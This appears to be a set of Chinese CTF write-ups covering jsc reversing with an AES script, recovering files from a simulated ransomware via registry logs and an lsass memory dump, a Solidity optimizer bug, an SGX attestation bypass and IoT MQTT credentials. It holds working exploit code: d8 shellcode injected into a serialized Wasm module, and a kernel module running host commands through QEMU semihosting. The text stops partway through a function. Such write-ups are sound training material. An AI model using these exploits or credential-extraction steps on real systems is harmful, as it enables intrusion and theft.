  • 选手寻找jsc格式文件的逆向方法,找到常用的工具有 https://github.com/PositiveTechnologies/ghidra_nodejs
  • 选手搭建gihdra_nodejs的开发环境,以便对插件进行修改使用。
  • 选手尝试使用 ghidra_nodejs,发现无法正常识别为jsc文件。结合尝试发现,由本题node生成的jsc与正常jsc的魔数不同。


  • 选手通过阅读nodejs源码,定位到魔数生成逻辑。
  • 选手通过逆向分析题目node中ComputeMagicNumber的使用处SerializedCodeData函数,发现0xC0DE0000被修改为0xDEAD0000。
  • 选手检查ghidra_nodejs对jsc文件的识别,并将进行对应的修改。
  • 通过对比正常jsc与本题jsc,发现kPayloadLengthOffset(偏移28)字段差异较大,其表征payload长度。经过对SerializedCodeData函数的逆向分析,发现其异或了0xdeadbeef:

  • 同样做了异或0xdeadbeef的还有kChecksum1Offset(offset 32)和kChecksum2Offset(offset 36)字段。

  • 阅读ghidra_nodejs源码,对其中解析jsc字段的JscParser.java进行修改,并编译。

  • 但使用ghidra打开后,依然无法有效读出。

  • 选手继续逆向发现jsc文件中的payload,即js function对象在SerializedCodeData函数进行序列化时被加密。所使用的密码算法为RC4算法,密钥为“CodeSerializer”。
  • 由于ghidra_nodejs使用逐字节的方式读取payload,修改ghidra_nodejs插件较为麻烦。因此,可以使用对jsc文件进行预处理的方式,修改payload。编写python代码如下:

  • 将预处理后的jsc文件再次使用ghidra_nodejs进行反汇编,发现大量字节码解析错误,结合逆向分析发现,题目所提供的node中的字节码码表被修改。
    0x3 - 0x77, 0x53 - 0x95, 0x20 - 0x4e, 0x1f - 0x78
  • 选手逆向分析node其中js字节码所对应的码表,修改 ghidra_nodejs 工具进行逆向。
    修改 data/languages/extrawide_instructions.sincdata/languages/v8.slaspecdata/languages/wide_instructions.sinc文件中的对应字段。
  • 选手通过 ghidra_nodejs 能够对伪代码的形式进行逆向。

  • 选手分析题目中的flag检查逻辑,发现为换表AES,完成解密脚本的编写,求解flag。脚本如下:

## AES decrypt --------------------------------------------------------------------------

nb = 4  # number of coloumn of State (for AES = 4)
nr = 10  # number of rounds ib ciper cycle (if nb = 4 nr = 10)
nk = 4  # the key length (in 32-bit words)

# This dict will be used in SubBytes().
hex_symbols_to_int = {'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14, 'f': 15}

sbox = [
    252, 161, 193, 55, 59, 67, 21, 222, 126, 36, 34, 234, 98, 194, 159, 143, 160, 61, 240, 5, 169, 123, 116, 80, 185,
    113, 88, 15, 225, 33, 176, 133, 37, 141, 106, 151, 145, 63, 173, 109, 183, 180, 208, 44, 12, 86, 122, 171, 10, 91,
    131, 197, 214, 82, 182, 136, 192, 196, 95, 146, 188, 226, 26, 77, 118, 31, 137, 28, 35, 223, 202, 96, 224, 23, 54,
    117, 167, 158, 20, 90, 2, 70, 74, 17, 47, 139, 244, 51, 242, 110, 114, 165, 199, 227, 218, 56, 83, 155, 135, 9, 1,
    75, 164, 66, 46, 231, 58, 132, 18, 127, 7, 190, 200, 201, 19, 71, 254, 209, 172, 246, 241, 168, 150, 178, 198, 24,
    251, 212, 130, 22, 115, 100, 94, 125, 239, 14, 174, 162, 11, 48, 247, 221, 166, 41, 108, 220, 152, 250, 189, 103,
    213, 216, 175, 81, 228, 191, 101, 29, 248, 206, 156, 38, 243, 42, 154, 69, 8, 92, 87, 6, 84, 43, 65, 112, 177, 99,
    102, 60, 68, 16, 49, 25, 134, 97, 107, 215, 121, 203, 129, 105, 13, 210, 255, 45, 64, 3, 144, 157, 233, 76, 205, 0,
    229, 128, 219, 186, 207, 72, 217, 62, 253, 79, 238, 142, 78, 119, 163, 181, 93, 50, 230, 104, 39, 170, 232, 85, 245,
    204, 120, 111, 211, 147, 124, 40, 153, 52, 179, 4, 149, 73, 237, 138, 249, 30, 184, 195, 140, 89, 235, 236, 53, 57,
    187, 27, 148, 32
]

inv_sbox = [
]

rcon = [[0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36],
        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
]


def encrypt(input_bytes, key):
    """Function encrypts the input_bytes according to AES(128) algorithm using the key
    Args:
       input_bytes -- list of int less than 255, ie list of bytes. Length of input_bytes is constantly 16
       key -- a strig of plain text. Do not forget it! The same string is used in decryption
    Returns:
        List of int
    """

    # let's prepare our enter data: State array and KeySchedule
    state = [[] for j in range(4)]
    for r in range(4):
        for c in range(nb):
            state[r].append(input_bytes[r + 4 * c])

    key_schedule = key_expansion(key)

    state = add_round_key(state, key_schedule)

    for rnd in range(1, nr):
        state = sub_bytes(state)
        state = shift_rows(state)
        state = mix_columns(state)
        state = add_round_key(state, key_schedule, rnd)

    state = sub_bytes(state)
    state = shift_rows(state)
    state = add_round_key(state, key_schedule, rnd + 1)

    output = [None for i in range(4 * nb)]
    for r in range(4):
        for c in range(nb):
            output[r + 4 * c] = state[r][c]

    return output


def decrypt(cipher, key):
    """Function decrypts the cipher according to AES(128) algorithm using the key
    Args:
       cipher -- list of int less than 255, ie list of bytes
       key -- a strig of plain text. Do not forget it! The same string is used in decryption
    Returns:
        List of int
    """

    # let's prepare our algorithm enter data: State array and KeySchedule
    state = [[] for i in range(nb)]
    for r in range(4):
        for c in range(nb):
            state[r].append(cipher[r + 4 * c])

    key_schedule = key_expansion(key)

    state = add_round_key(state, key_schedule, nr)

    rnd = nr - 1
    while rnd >= 1:
        state = shift_rows(state, inv=True)
        state = sub_bytes(state, inv=True)
        state = add_round_key(state, key_schedule, rnd)
        state = mix_columns(state, inv=True)

        rnd -= 1

    state = shift_rows(state, inv=True)
    state = sub_bytes(state, inv=True)
    state = add_round_key(state, key_schedule, rnd)

    output = [None for i in range(4 * nb)]
    for r in range(4):
        for c in range(nb):
            output[r + 4 * c] = state[r][c]

    return output


def sub_bytes(state, inv=False):
    """That transformation replace every element from State on element from Sbox
    according the algorithm: in hexadecimal notation an element from State
    consist of two values: 0x<val1><val2>. We take elem from crossing
    val1-row and val2-column in Sbox and put it instead of the element in State.
    If decryption-transformation is on (inv == True) it uses InvSbox instead Sbox.
    Args:
        inv -- If value == False means function is encryption-transformation.
               True - decryption-transformation
    """

    if inv == False:  # encrypt
        box = sbox
    else:  # decrypt
        box = inv_sbox

    for i in range(len(state)):
        for j in range(len(state[i])):
            row = state[i][j] // 0x10
            col = state[i][j] % 0x10

            # Our Sbox is a flat array, not a bable. So, we use this trich to find elem:
            # And DO NOT change list sbox! if you want it to work
            box_elem = box[16 * row + col]
            state[i][j] = box_elem

    return state


def shift_rows(state, inv=False):
    """That transformation shifts rows of State: the second rotate over 1 bytes,
    the third rotate over 2 bytes, the fourtg rotate over 3 bytes. The transformation doesn't
    touch the first row. When encrypting transformation uses left shift, in decription - right shift
    Args:
        inv: If value == False means function is encryption mode. True - decryption mode
    """

    count = 1

    if inv == False:  # encrypting
        for i in range(1, nb):
            state[i] = left_shift(state[i], count)
            count += 1
    else:  # decryptionting
        for i in range(1, nb):
            state[i] = right_shift(state[i], count)
            count += 1

    return state


def mix_columns(state, inv=False):
    """When encrypting transformation multiplyes every column of State with
    a fixed polinomial a(x) = {03}x**3 + {01}x**2 + {01}x + {02} in Galua field.
    When decrypting multiplies with a'(x) = {0b}x**3 + {0d}x**2 + {09}x + {0e}
    Detailed information in AES standart.
    Args:
        inv: If value == False means function is encryption mode. True - decryption mode
    """

    for i in range(nb):

        if inv == False:  # encryption
            s0 = mul_by_02(state[0][i]) ^ mul_by_03(state[1][i]) ^ state[2][i] ^ state[3][i]
            s1 = state[0][i] ^ mul_by_02(state[1][i]) ^ mul_by_03(state[2][i]) ^ state[3][i]
            s2 = state[0][i] ^ state[1][i] ^ mul_by_02(state[2][i]) ^ mul_by_03(state[3][i])
            s3 = mul_by_03(state[0][i]) ^ state[1][i] ^ state[2][i] ^ mul_by_02(state[3][i])
        else:  # decryption
            s0 = mul_by_0e(state[0][i]) ^ mul_by_0b(state[1][i]) ^ mul_by_0d(state[2][i]) ^ mul_by_09(state[3][i])
            s1 = mul_by_09(state[0][i]) ^ mul_by_0e(state[1][i]) ^ mul_by_0b(state[2][i]) ^ mul_by_0d(state[3][i])
            s2 = mul_by_0d(state[0][i]) ^ mul_by_09(state[1][i]) ^ mul_by_0e(state[2][i]) ^ mul_by_0b(state[3][i])
            s3 = mul_by_0b(state[0][i]) ^ mul_by_0d(state[1][i]) ^ mul_by_09(state[2][i]) ^ mul_by_0e(state[3][i])

        state[0][i] = s0
        state[1][i] = s1
        state[2][i] = s2
        state[3][i] = s3

    return state


def key_expansion(key):
    """It makes list of RoundKeys for function AddRoundKey. All details
    about algorithm is is in AES standart
    """

    # key_symbols = [ord(symbol) for symbol in key]
    key_symbols = [symbol for symbol in key]

    # ChipherKey shoul contain 16 symbols to fill 4*4 table. If it's less
    # complement the key with "0x01"
    if len(key_symbols) < 4 * nk:
        for i in range(4 * nk - len(key_symbols)):
            key_symbols.append(0x01)

    # make ChipherKey(which is base of KeySchedule)
    key_schedule = [[] for i in range(4)]
    for r in range(4):
        for c in range(nk):
            key_schedule[r].append(key_symbols[r + 4 * c])

    # Comtinue to fill KeySchedule
    for col in range(nk, nb * (nr + 1)):  # col - column number
        if col % nk == 0:
            # take shifted (col - 1)th column...
            tmp = [key_schedule[row][col - 1] for row in range(1, 4)]
            tmp.append(key_schedule[0][col - 1])

            # change its elements using Sbox-table like in SubBytes...
            for j in range(len(tmp)):
                sbox_row = tmp[j] // 0x10
                sbox_col = tmp[j] % 0x10
                sbox_elem = sbox[16 * sbox_row + sbox_col]
                tmp[j] = sbox_elem

            # and finally make XOR of 3 columns
            for row in range(4):
                s = (key_schedule[row][col - 4]) ^ (tmp[row]) ^ (rcon[row][int(col / nk - 1)])
                key_schedule[row].append(s)

        else:
            # just make XOR of 2 columns
            for row in range(4):
                s = key_schedule[row][col - 4] ^ key_schedule[row][col - 1]
                key_schedule[row].append(s)

    return key_schedule


def add_round_key(state, key_schedule, round=0):
    """That transformation combines State and KeySchedule together. Xor
    of State and RoundSchedule(part of KeySchedule).
    """

    for col in range(nk):
        # nb*round is a shift which indicates start of a part of the KeySchedule
        s0 = state[0][col] ^ key_schedule[0][nb * round + col]
        s1 = state[1][col] ^ key_schedule[1][nb * round + col]
        s2 = state[2][col] ^ key_schedule[2][nb * round + col]
        s3 = state[3][col] ^ key_schedule[3][nb * round + col]

        state[0][col] = s0
        state[1][col] = s1
        state[2][col] = s2
        state[3][col] = s3

    return state


# Small helpful functions block

def left_shift(array, count):
    """Rotate the array over count times"""

    res = array[:]
    for i in range(count):
        temp = res[1:]
        temp.append(res[0])
        res[:] = temp[:]

    return res


def right_shift(array, count):
    """Rotate the array over count times"""

    res = array[:]
    for i in range(count):
        tmp = res[:-1]
        tmp.insert(0, res[-1])
        res[:] = tmp[:]

    return res


def mul_by_02(num):
    """The function multiplies by 2 in Galua space"""

    if num < 0x80:
        res = (num << 1)
    else:
        res = (num << 1) ^ 0x1b

    return res % 0x100


def mul_by_03(num):
    """The function multiplies by 3 in Galua space
    example: 0x03*num = (0x02 + 0x01)num = num*0x02 + num
    Addition in Galua field is oparetion XOR
    """
    return (mul_by_02(num) ^ num)


def mul_by_09(num):
    # return mul_by_03(num)^mul_by_03(num)^mul_by_03(num) - works wrong, I don't know why
    return mul_by_02(mul_by_02(mul_by_02(num))) ^ num


def mul_by_0b(num):
    # return mul_by_09(num)^mul_by_02(num)
    return mul_by_02(mul_by_02(mul_by_02(num))) ^ mul_by_02(num) ^ num


def mul_by_0d(num):
    # return mul_by_0b(num)^mul_by_02(num)
    return mul_by_02(mul_by_02(mul_by_02(num))) ^ mul_by_02(mul_by_02(num)) ^ num


def mul_by_0e(num):
    # return mul_by_0d(num)^num
    return mul_by_02(mul_by_02(mul_by_02(num))) ^ mul_by_02(mul_by_02(num)) ^ mul_by_02(num)

# End of small helpful functions block


def calc_inv_sbox():
    global inv_sbox
    inv_sbox = [0] * 256

    for i in range(16):
        for j in range(16):
            v = sbox[i * 16 + j]
            vj = v & 0xF
            vi = (v >> 4) & 0xF
            inv_sbox[vi * 16 + vj] = i * 16 + j

calc_inv_sbox()

def listxorlist(l1, l2):
    assert len(l1) == len(l2)
    for i in range(len(l1)):
        l1[i] ^= l2[i]

# Decrypt

aeskey = list(b"1a63213c367a0728")
iv = list(b"511389d8e09e3118")

for i in range(16):
    aeskey[i] ^= 0x55
    iv[i] ^= 0xCC

r1 = [236, 185, 246, 163, 153, 151, 10, 6, 158, 100, 46, 1, 187, 21, 192, 60]
r2 = [43, 105, 146, 250, 247, 128, 5, 144, 120, 244, 104, 86, 196, 110, 188, 85]

t2 = decrypt(r2, bytes(aeskey))
listxorlist(t2, r1)
t1 = decrypt(r1, bytes(aeskey))
listxorlist(t1, iv)

print(b"aliyunctf{"+bytes(t1)+bytes(t2)+b"}")
  • 得到flag为aliyunctf{10d4a22a43af0d4cc8726bc41419e8d6},进行验证。

乐索软件/happyropeware

Reverse, 500 points, 2 solves
想尝试的同学可以在这里下载题目附件:https://o.riat.re/happyropeware-e53704c48fd4f7d30c3f29dab194ba3f1ed885136a1f4dc5a5bf9847b48c8f07.zip
比赛时给出的题目描述如下:

救命!我们中了一个勒索软件,但运营方提出的赎金要求不是数字货币,而是巨量的梗图!然而,可能是因为之前我们办 CTF 的时候要求选手给我们发的 writeup 里别放任何梗图,我们手上一张梗图都没有。幸运的是我们在受害机器中招后立刻获取了一份内存镜像和用户文件。
取证时间到!
P.S. 事情发生后,我们派出了一位不明身份人士混入了勒索软件运营方偷取勒索软件源代码,但她的身份很快败露,只来得及下载一个代码文件,权衡之下,她下载了程序入口所在的文件,请好好利用。


题目给出的场景是一位用户不小心在自己的 Windows 10 机器上运行了勒索软件,看到勒索信后马上保存了自己的内存镜像和 C:\Users\ 下的所有文件。目标为恢复被加密的 flag 文件。这里我们假定勒索软件作者足够小心,正确覆写了文件(题目实际给出的程序也确实如此),因此只给出了内存镜像和文件,而没有给出完整磁盘镜像。
在验题阶段,我们收到了“Rust 逆向部分工作量可能过大”的反馈,权衡之下,给出了我们编写的模拟勒索软件的主逻辑部分代码,以削弱这部分工作量。

解题步骤

提取 user-files.wim 里的 C:\Users\Victim\AppData\Local\Temp\happyropeware.exe 并逆向(建议静态+调试,Rust 代码静态看懂比较麻烦,调试可以快速厘清动态行为),梳理出逻辑如下:

  • 启动后首先检查机器状态:
    • 要求主机名的 BLAKE3 哈希必须为 b241392db7a4bdf3b2efc952c4b7d44dfe23c7e193fe95b2db2824e35f133a42。
    • 要求桌面上必须存在一个名为 YesIKnowIAmRunningARealRansomwareTheDecryptionKeyWillOnlyBeReleasedAfterTheCTFEndsPleaseGoOn.txt 的文件。
    • 要求系统语言区域设置为“世界语(世界)”。
    • 若任何一项不满足,则弹出提示,提醒选手不要随便运行该程序。
  • 随后生成一个公私钥对(称为受害者密钥),将 MachineGuid 连同私钥一起经 CryptoProtectData 保护后写入注册表中 HKCU\Control Panel\Desktop 项下名为 WallpaperImageCache 的值中。若该注册表项中存在之前的私钥,则直接加载使用。
  • 等待 5 分钟无用户输入后再开始执行后续逻辑。
  • 开机器 CPU 数量个线程,这些线程用于处理文件加密,随后在主线程中遍历所有可写的 NTFS 卷,查找满足条件的文件加入队列中加密。文件加密前会被改名加入 .UCryNow 的后缀,文件加密后大小不变,同时会在名为 HRW 的 NTFS Alternate Data Stream 中写入 64 字节的元数据。
  • 遍历及加密全部结束后,删除注册表中的 key,显示勒索信。勒索信中包含 MachineGuid,用硬编码的运营方公钥加密过的受害者私钥,及 HMAC-BLAKE2B(Kdf(VictimSecretKey, 2), MachineGuid)

其中密码算法的部分逻辑如下:

  • 公钥加密算法为 X25519。私钥是使用 BCryptGenRandom 随机生成的 32 字节,没有弱点。
  • 受害者私钥用运营方公钥加密采用的是基于 X25519 的 ECIES,对称部分采用 XSalsa20-Poly1305。
  • 文件加密对称密码部分同样采用 XSalsa20-Poly1305,每个文件使用不同的 XSalsa20 密钥,密钥同样采用 ECIES,其中接收方公钥为受害者公钥。得到的共享密钥经过一次 HSalsa20 后得到 XSalsa20 密钥。nonce 则是 BLAKE2B(epk .. rpk),其中 epk 为临时公钥,rpk 为受害者公钥。
  • HRW 中的前 16 字节和勒索信中的 HMAC 一致,中间 32 字节为 epk,最后 16 字节为 Poly1305 Tag。

密码算法的部分看起来并没有什么问题,值得关注的是 happyropeware.exe 把 key 临时写入了注册表。
Windows 8 以后的注册表在更新磁盘上的 Hive 前会先定期把写入内容刷到日志文件中。
日志文件的结构是一个 ring buffer,所有改动追加写入当前位置,删除则是记为写入一个删除标记,因此写入后超过 1 分钟左右再删除的 key,会存在很长时间(取决于注册表读写有多频繁)的时间窗口,其可从日志文件中恢复。

从 user-files.wim 中提取出 ntuser.dat,是 HKCU 这个 hive,检查会发现其中并没有 HKCU\Control Panel\Dekstop\WallpaperImageCache 这个值,然而 ntuser.dat.LOG1 中是有的。
这里我们不要费劲去解析这个文件的格式,考虑直接搜索 DPAPI 保护过的 blob 的特征:01000000D08C9DDF0115D1118C7A00C04FC297EB (Version + Crypto Provider GUID),可以在 0x2BFBC 处找到一处匹配。
我们将从这里开始的 0x124 字节提取到文件中备用。

我们可以用 mimikatz 来检查一下这个 blob 的基本信息:

尝试使用 /unprotect 要求 mimikatz 解密这个 blob,会得到提示不存在对应的 master key,并给出了所需的 master key 的 UUID。
master key 可以从内存镜像中提取得到,这里出题人是使用 physmem2profit 将内存镜像中的 lsass.exe dump 成了 minidump 格式,然后用 mimikatz 加载提取的。
在一个 Ubuntu 18.04 的容器中(使用 Ubuntu 18.04 是因为它依赖了 Rekall,而后者已经几年没有维护了,它进一步的 Python 依赖在高版本 Python 和系统上都不太好用)安装好 physmem2profit 后,将给出的 memory.raw 改名为 memory.vmem,然后运行 physmem2profit 得到 lsass.dmp:

# python3 physmem2profit --mode dump --vmem /work/memory.vmem --label "happyropeware"
[*] Analyzing local image /work/memory
[*] Analyzing physical memory
[*] Finding LSASS process
[*] LSASS found
[*] Checking for Credential Guard...
[*] No Credential Guard detected
[*] Windows build number not known, collecting it with imageinfo plugin
[*] Collecting data for minidump: system info
[*] Collecting data for minidump: module info
[*] Collecting data for minidump: memory info and content
[*] Generating the minidump file
[*] Wrote LSASS minidump to output/happyropeware-2023-03-04-lsass.dmp

接下来使用 mimikatz 分析,提取其中的 master key 并解密从注册表里提取出来的 blob。


注意到解密出的数据总共 48 字节,前 16 字节是我们在勒索文件里看到的 MachineGuid,说明大概率我们找到了正确的目标。
恢复了本次勒索软件运行所生成的私钥后,后续根据逆向得出的结论还原文件即可,这里给出一个参考实现:

from nacl.public import PrivateKey, Box, SealedBox

    with open("HRW", "rb") as fp:
    header = fp.read()
    with open("flag.jpg.UCryNow", "rb") as fp:
    data = fp.read()

    victim_sk = PrivateKey(bytes.fromhex("... <上面得到的 key> ...")[16:])
    epk, tag = header[16:-16], header[-16:]
    cipher = SealedBox(victim_sk)
    with open("flag.jpg", "wb") as fp:
    fp.write(cipher.decrypt(epk+tag+data))

flag.docx 同理。查看这两个文件即可获得完整的 flag,其中第一部分在 flag.docx 中,第二部分在 flag.jpg 中。

莱拉/lyla

Reverse; 400 points; 1 solve
想尝试的同学可以在这里下载题目附件:https://o.riat.re/lyla-a77c6d95f414453b4f170346cc902eb9e7fd33ddc10b471b95c21239e1b47852.tar.gz
比赛时给出的题目描述如下:

面对如此传统的逆向工程题目,代码量不大,输入密码换取 flag 的经典设计,你还在等什么,快来解它!
注意:题目保证有解,但解不唯一。
nc <ip> 1337</ip>

题目 Writeup 请参考 这个页面,注意本题的乐趣在于探索的过程,若有心想再尝试尝试自己解决,请不要一下子展开所有剧透标签。

Crypto

HappyTree

本题WriteUP详细版可参考出题人blog

题目描述

题目有三个考点

  • MerkleTree验证
  • assembly中的return trick
  • solidity 优化器漏洞

isSolved 是本题目标,当 x == 2 && y == 4时,解题成功。

解题思路

为了让 y == 4 需要集齐4片叶子,但题目描述仅给出了3片叶子。
step1.
审计一下 verify 函数发现,合约没有检查叶子的高度,所以可以用树枝节点或者根节点充当叶子节点进行验证。
step2.
然后,审计g函数发现其中用到了assembly。
assembly中 return(0, 0) 会结束当前调用,而非当前函数。
因此当g函数参数为 false 时,会当即结束 this.a(i, y);
最终 line29 x = i 会被无视。
肉眼执行可得x == 3 && y == 4
step3.
solidity 优化器存在Bug

当优化器遇到这种程序流,会觉得x = 1是句废话,并删除之。
对应到题目中,当g函数的参数为false时,第27行的x = n会被无视。
最终执行一遍,x == 2 && y == 4 题目解决。

BabyPRNG

出题人writeup

BabyAuth

出题人writeup

Misc

懂得都懂带带弟弟/dddddddd

import("/flag")即可获得 flag。
……显然各位选手也注意到了这并不是预期的做法。不过预期的做法也是某种意义上的“非预期”:D8 Shell 里的 d8.serializer 没有删掉。补丁带回了以前 V8 里 ValueSerializer 反序列化 WasmModule 的功能。稍微观察下可以注意到存下来的 WasmModule 里有 TurboFan 编译好的代码,直接改成 Shellcode,反序列化回来,调用即可执行。

const shellCode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x67, 0x6d, 0x60, 0x66, 0x1, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x1, 0x5f, 0x99, 0xf, 0x5]);
const wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,134,128,128,128,0,1,96,1,124,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,148,128,128,128,0,2,6,109,101,109,111,114,121,2,0,7,116,104,101,102,117,110,99,0,0,10,225,128,128,128,0,1,219,128,128,128,0,2,2,124,2,127,65,1,33,4,2,64,32,0,68,0,0,0,0,0,0,0,0,101,32,0,32,0,98,114,13,0,32,0,68,0,0,0,0,0,0,0,192,160,33,1,65,1,33,3,65,1,33,4,3,64,32,3,183,33,2,32,4,183,32,0,162,32,1,163,170,33,4,32,3,65,1,106,33,3,32,2,32,0,99,13,0,11,11,32,4,11]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule);
const main = wasmInstance.exports.thefunc;
for (let i = 0; i < 64646; i++) main(123);
let sb = d8.serializer.serialize(wasmModule);
let s = new Uint8Array(sb);
for (let i = 0; i < s.length; i++) {
  if (s[i] == 0x55 && s[i+1] == 0x48 && s[i+2] == 0x89 && s[i+3] == 0xE5) {
    for (let j = 0; j < shellCode.length; j++) {
      s[i+j] = shellCode[j];
    }
    break;
  }
}
let data = [];
for (let i = 0; i < s.length; i++) {
  data.push(s[i]);
}
write(`new WebAssembly.Instance(d8.serializer.deserialize(new Uint8Array([${data}]).buffer)).exports.thefunc();`);
from pwn import *

import subprocess

payload = subprocess.check_output(["bin/d8", "gen.js"])

if args.REMOTE:
    r = remote(args.HOST, args.PORT)
else:
    r = process("bin/d8")

r.sendline(payload)
r.interactive()

llama.sgx.easy

现有的TEE相关赛题一般不考察远程证明相关内容,所以本题主要考察选手对于SGX远程证明的理解,预期没有密码学、内存破坏、条件竞争导致的漏洞(通过完善的代码注释及Rust实现劝退选手考虑相关可能性)。

题目主要分为两个组件,即KMS端和客户端。KMS端提供加密prompt的密钥,但仅允许注入到MREnclave为特定值的SGX Enclave,客户端在模型文件存在的情况下可以实际完成prompt的补全。

一个合格的远程证明验证流程应当至少验证一下内容:

  • 代码的完整性(MREnclave)是否符合预期 / 代码作者(MRSigner)是否符合预期
  • SGX Enclave属性,即是否包含了DEBUG、使能的CPU拓展指令集等,因为这些都会影响代码实际执行时的逻辑
  • 平台安全性,即SGX Enclave是否运行在一个打了足够安全补丁的平台

通过查看最后一条git log信息(修改了DisableDebug的属性)及SimpleKMS的代码,可以发现SimpleKMS未对SGX Enclave的远程证明结果进行完善的验证,即未进行DEBUG attr的检查。这使得选手可以重新签名llama_enclave.signed.so,并通过gdb直接查看到加密密钥或解密后的prompt。

  1. 修改 Enclave.config.xml 中的 <DisableDebug>1</DisableDebug> 为0;
  2. 重新签名enclave

    openssl genrsa -out Enclave_private_test.pem -3 3072
    source /opt/alibaba/teesdk/intel/sgxsdk/environment
    sgx_sign sign -key Enclave_private_test.pem -enclave llama_enclave.signed.so -out llama_enclave.signed.so.1 -config Enclave.config.xml -resign
    
  3. 在实际支持SGX的机器上重新运行Untrusted_app并拉起Enclave,即可查看加密密钥或flag

    sgx-gdb ./Untrusted_app
    # 后续可直接通过 x g_secret_key 查看到从服务端获取的明文密钥
    

    ## 消失的声波
    1.通过对声波分析,可以判断AFSK编码规律,配置解码;


    2.完成关键OSS地址信息获取,拼接OSS地址下载bin包;
    https://iot2023.oss-cn-hangzhou.aliyuncs.com/OpYdCuMtkQ8Yjhm2
    3.分析linux可执行文件,
    获取程序实现逻辑及关键信息
    char product_key = "a1eAwsBKddO";
    char
    device_name = "ncApIY2XV9NUIY4VpbGk";
    char device_secret = "04845e512ead208b2437d970a154d69e";
    char
    mqtt_host = "iot-060a0cwi.mqtt.iothub.aliyuncs.com";
    sub topic:/a1eAwsBKddO/ncApIY2XV9NUIY4VpbGk/user/get
    pub topic:/a1eAwsBKddO/ncApIY2XV9NUIY4VpbGk/user/update
    其中MQTT上下行基本逻辑为根据上行上传信息,始终监听云端的下行指令;

    修改id值为flag,即可获得云端下发的flag值


    ## wee II
    先给各位被patch骗到的师傅道个歉:patch中读flag的syscall确实很容易误导。
    预期解法是利用QEMU的Semihosting在Host执行命令。出题的思路来源为以往的OP-TEE相关题目:在那些题目中经常可以看到QEMU仅指定了-bios参数为bl1.bin,这说明OP-TEE OS的Image等是动态加载的。通过阅读arm-trusted-firmware的代码可以得知加载方式利用了QEMU的Semihosting功能。

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("shiki7");
MODULE_DESCRIPTION("semihosting test");
MODULE_VERSION("0.1");

__attribute__((naked)) long semihosting_call(unsigned long operation, uintptr_t system_block_address) {
  asm volatile (
      "SVC #0x123456
"
      "BX LR
"
      );
}

#define SEMIHOSTING_SYS_SYSTEM          0x12

typedef struct {
  char *command_line;
  size_t command_length;
} smh_system_block_t;

long semihosting_system(char *command_line) {
  smh_system_block_t system_block;

  system_block.command_line = command_line;
  system_block.command_length = strlen(command_line);

  return semihosting_call(SEMIHOSTING_SYS_SYSTEM, (uintptr_t)&system_block);
}

static int __init mod_init(void) {
  printk(KERN_INFO "Hello kernel world!
");
  semihosting_system("bash -c 'echo hello > /tmp/hello';");
  return 0;
}

static void __exit mod_exit(void) {
  printk(KERN_INFO "Bye-bye kernel world!
");
  return;
}

module_init(mod_init);
module_exit(mod_exit);

来自喵星球的问候/NanoCatPlanet

题目描述及提示

自从猫咪学会了数字水印后,喵星球的数字安全技术突飞猛进。
这次猫咪们又将他们抓来的 flag 藏在了喵星球上,你们能找到吗?
请注意:猫咪们还尚未掌握航天科技。

Hint 1.需要暴力破解加密水印时使用的私钥
Hint 2.注意加解密逻辑
Hint 3.猫咪们会把未加密的水印放在哪里呢?

(然而题目都还没来得及放提示出来就被解了……)

题解 by NanoApe

题目附件是一个 11500x11500 的卫星图片,其他什么都没有。
虽然做过猫图题的选手看题目背景和水印大体上都能猜到这张图片使用了 Arnold's cat map 加密,但为了新手考虑,我还是藏了一些附加信息。
通过查看文件二进制信息可以发现存在一个 tEXt 段,里面的信息是 Software=CatWatermark。这一个 block 的 CRC 有误,所以如果用 PIL 读取图片的话也会有提醒。

通过在 GitHub 搜索确定加密工具是 https://github.com/Konano/CatWatermark ,里面自带了一个 encode 和 decode。

通过 README 可以知道,要 decode 这个加密过的卫星图需要原图和私钥,而私钥又分为三部分:x 轴偏移、y 轴偏移和迭代次数。原图其实不难找,这里略过(我也忘了在哪里找的)。
然后我们把目光转向 encode.py,发现这个代码实现了一个 O(n^3) 的 Arnold's cat map 算法。尝试下你会发现这代码巨慢无比,跑个 1000x1000 的图都已经特别慢了,更何况 11500x11500 的图,而且还要爆破三个参数,此时爆破复杂度为 O(n^6),约为 2313060765625000000000000。
通过分析代码可以发现 Arnold's cat map 的实现有问题。如下代码所示,new_image 在操作后并没有更新给 image,导致无论循环多少次,返回的 new_image 一直都是迭代 1 次的结果。此时爆破复杂度降到了 O(n^4),约为 17490062500000000。

def arnold_cat_map(image, key=(1, 2, 1)):
    """
    Implements Arnold's cat map transformation on an image.
    """
    height, width, *_ = image.shape
    offset_x, offset_y, iterations = key

    new_image = np.zeros(image.shape, dtype=np.uint8)
    for i in range(iterations):
        for x in range(height):
            for y in range(width):
                _x, _y = x, y
                _y = (_y + offset_x * _x) % width
                _x = (_x + offset_y * _y) % height
                new_image[_x, _y] = image[x, y]
    return new_image

def arnold_cat_map_rev(image, key=(1, 2, 1)):
    """
    Implements Arnold's cat map transformation on an image (reverse).
    """
    height, width, *_ = image.shape
    offset_x, offset_y, iterations = key

    new_image = np.zeros(image.shape, dtype=np.uint8)
    for i in range(iterations):
        for x in range(height):
            for y in range(width):
                _x, _y = x, y
                _x = (_x - offset_y * _y) % height
                _y = (_y - offset_x * _x) % width
